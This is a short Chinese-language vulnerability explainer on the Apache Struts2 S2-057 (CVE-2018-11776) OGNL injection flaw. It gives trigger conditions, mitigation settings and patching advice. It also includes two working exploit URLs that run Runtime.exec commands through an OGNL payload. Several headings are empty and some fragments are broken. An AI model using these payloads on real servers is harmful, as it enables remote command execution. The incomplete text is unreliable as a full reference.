Struts2-057 (CVE-2018-11776)是Apache Struts2框架中存在的一个远程代码执行漏洞,影响多个Struts2版本。该漏洞源于框架对某些URL处理不当,导致攻击者可以构造恶意请求执行任意命令。
该漏洞主要存在于Struts2的namespace处理机制中,当满足以下条件时可能被利用:
1. 未设置namespace值,或使用通配符namespace
2. 上层动作配置中未设置或使用通配符namespace
3. 上层动作配置中未设置<result>
元素或使用通配符
攻击者可以通过构造特殊的URL,利用OGNL表达式注入实现远程代码执行。
构造恶意URL:
http://target.com/struts2-showcase/${(#_memberAccess['allowStaticMethodAccess']=true,#a=@java.lang.Runtime@getRuntime().exec('calc')).action
如果应用使用了命名空间,可以这样构造:
http://target.com/namespace/${(#_memberAccess['allowStaticMethodAccess']=true,#a=@java.lang.Runtime@getRuntime().exec('id')).action
请求处理流程:
OGNL注入点:
安全绕过:
_memberAccess['allowStaticMethodAccess']=true
绕过安全限制官方补丁:
临时缓解措施:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="false" />
<constant name="struts.enable.DynamicMethodInvocation" value="false" />
安全配置建议:
echo
命令Struts2-057漏洞再次暴露了框架对用户输入处理不当的问题。作为开发人员,应及时关注安全公告,定期更新框架版本,并遵循安全最佳实践来配置Web应用。